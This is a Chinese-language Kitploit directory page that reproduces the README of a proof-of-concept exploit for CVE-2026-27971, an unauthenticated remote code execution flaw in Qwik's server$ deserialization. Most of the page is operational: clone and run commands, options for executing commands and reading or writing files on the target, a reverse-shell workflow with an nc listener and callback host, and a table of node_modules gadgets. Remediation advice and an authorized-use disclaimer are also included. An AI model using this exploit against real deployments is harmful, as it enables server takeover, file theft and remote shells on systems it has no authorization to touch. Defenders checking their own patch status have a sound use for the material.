Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-27971_POC — CVE-2026-27971 qwik 远程代码执行 | Kitploit
工具/GitHubGitHub/ghalendar/cve-2026-27971_poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制红队远程访问工具Payload 开发
GitHubghalendar/cve-2026-27971_poc

CVE-2026-27971_POC

CVE-2026-27971 qwik 远程代码执行

查看仓库
51个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-27971 — Qwik server$ 未认证 RCE PoC

[!WARNING] 本仓库包含一个活跃的远程代码执行概念验证。请仅对您拥有或明确获授权测试的系统使用。作者对未经授权的使用或造成的损害不承担任何责任。

CVE-2026-27971 / GHSA-p9x5-jp3h-96mm 的独立 Python 概念验证,该漏洞是 Qwik server$ RPC 反序列化机制中的一个未认证远程代码执行漏洞。

该 PoC 可执行主动标记探测、执行命令、读取或写入文本文件,并在 Linux 或 Windows 目标上请求反向 Shell。它仅使用 Python 标准库。

漏洞摘要

字段值
产品Qwik — npm 包 @builder.io/qwik
受影响版本<= 1.19.0
已修复版本1.19.1
漏洞通过不安全的 server$ 反序列化实现未认证远程代码执行
运行时条件运行时必须提供 require()
CWECWE-502 — 不可信数据的反序列化
严重性严重 — CVSS 4.0: 9.2
向量CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

精心构造的 application/qwik-json 请求可以引用服务端模块及导出的符号。受影响的 Qwik 版本可能通过运行时 require() 解析未注册的 QRL 并在无需认证的情况下调用它。此 PoC 尝试调用目标 node_modules 中已存在的兼容进程执行导出。

环境要求

操作者:

  • Python 3。
  • 能够访问处理 server$/Qwik JSON 请求的确切 Qwik 路由。
  • 测试反向 Shell 功能时,需要一个目标可访问的监听器。

目标:

  • 使用 @builder.io/qwik <= 1.19.0 的受影响 Qwik 部署。
  • 运行时中提供 require()。
  • node_modules 中可访问的兼容 gadget 模块与导出。
  • 服务进程 PATH 中可用的 node。
  • 执行所请求命令或文件操作所需的足够服务账户权限。

无需第三方 Python 包。

快速开始

root@kitploit:~
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help

无需发送请求即可列出内置 gadget:

root@kitploit:~
python3 exploit_combat.py --list-gadgets

运行主动标记探测并尝试所有内置 gadget:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe

[!IMPORTANT] --probe 并非被动的版本检测。它会尝试远程代码执行,并通过从目标进程打印标记来确认执行成功。

使用示例

执行命令:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"

读取 UTF-8 文本文件:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json

写入并验证 UTF-8 文本文件:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"

启动持久监听器后请求反向 Shell:

root@kitploit:~
nc -lvnp 4444
root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback

当自动操作系统检测不适用时,强制使用 Windows 反向 Shell 载荷:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444

该脚本不会启动监听器。--callback 预检查会在发送 Shell 载荷之前打开并关闭一个独立的 TCP 连接,因此请使用能够接受多个连接的监听器。

CLI 参考

选项说明
-t URL, --target URL确切的目标 URL。默认值:http://localhost:3000。不会自动发现路由。
--probe主动执行标记载荷并尝试操作系统检测。
-c CMD, --CMD CMD通过 Node.js child_process.execSync() 执行命令。
--read PATH使用 fs.readFileSync() 读取 UTF-8 文本文件。
--write PATH --content TEXT写入文本文件、读回并比对结果。不会创建父目录。
--list-gadgets打印内置 gadget 名称并退出,不发起网络请求。
--lhost IP启用反向 Shell 模式并设置回调地址。
--lport PORT设置回调端口。默认值:4444。
--rev-all发送所有反向 Shell 变体,而非在第一个被接受的 HTTP 请求后停止。
--callback在发送反向 Shell 载荷前测试出站 TCP 可达性。
--OS {auto,linux,windows}选择反向 Shell 载荷系列。默认值:auto。
--gadget SPEC使用 auto、内置名称或自定义 <module>#<symbol>。默认值:cross-spawn.sync。
--arg-style {argv,command,shell}自定义 <module>#<symbol> gadget 的参数风格。
--timeout SECONDS客户端 HTTP 超时时间。默认值:30。
--verify-ssl启用 TLS 证书与主机名验证。默认情况下验证处于禁用状态。

操作模式在解析器中并非互斥。每次调用请仅使用 --probe、--CMD、--read、--write 或 --lhost 其中之一。

内置 Gadget

名称模块与导出风格
cross-spawn.sync./node_modules/cross-spawn/index#syncargv
cross-spawn.index-js./node_modules/cross-spawn/index.js#syncargv
execa.sync./node_modules/execa/index#syncargv
execa.index-js.sync./node_modules/execa/index.js#syncargv
execa.commandSync./node_modules/execa/index#commandSynccommand
execa.index-js.commandSync./node_modules/execa/index.js#commandSynccommand
node-cmd.runSync./node_modules/node-cmd/cmd#runSyncshell
node-cmd.cmd-js.runSync./node_modules/node-cmd/cmd.js#runSyncshell

--gadget auto 会按所列顺序测试这些 gadget。也可以按如下方式提供自定义 gadget:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe

重要限制

  • 探测结果为阴性并非目标已修补的证明。它可能表示路由不正确、gadget 缺失或不兼容、网络/TLS 错误、过滤或部署结构不同。
  • 默认 gadget 是 cross-spawn.sync,而非自动发现。当目标依赖布局未知时,请使用 --gadget auto。
  • 该工具没有用于 Cookie、授权头、代理或任意自定义头的选项。
  • 文件操作面向文本。--read 期望 UTF-8,--write 不适用于二进制数据。
  • 相对路径从 Qwik 进程的工作目录解析。所有操作均以 Qwik 服务账户的权限运行。
  • 反向 Shell 的成功消息仅表示利用 HTTP 请求已被接受;它们并不证明已收到回调。
  • --rev-all 可能在目标上启动多个进程或回调。请仅在隔离的实验室环境中使用。
  • 进程退出码主要反映探测与传输处理,而非远程命令的退出状态或是否存在可用的 Shell。
  • 该工具无法识别已安装的 Qwik 版本,不应作为依赖清单的替代品。

修复建议

将 @builder.io/qwik 升级至 1.19.1 或更高版本,更新锁文件,重新构建应用程序,并重新部署所有服务端构件。仅移除兼容的 gadget 并不能彻底修复 Qwik 的底层漏洞。

参考链接

  • Qwik 安全公告 — GHSA-p9x5-jp3h-96mm
  • GitHub 公告数据库 — CVE-2026-27971
  • 已修复的 Qwik 1.19.1 发行版
  • 上游修复提交
  • CVE 记录
  • NVD 条目

法律声明

本项目仅供安全研究、防御性验证和授权测试使用。未经明确许可,请勿对任何系统使用本项目。

下载工具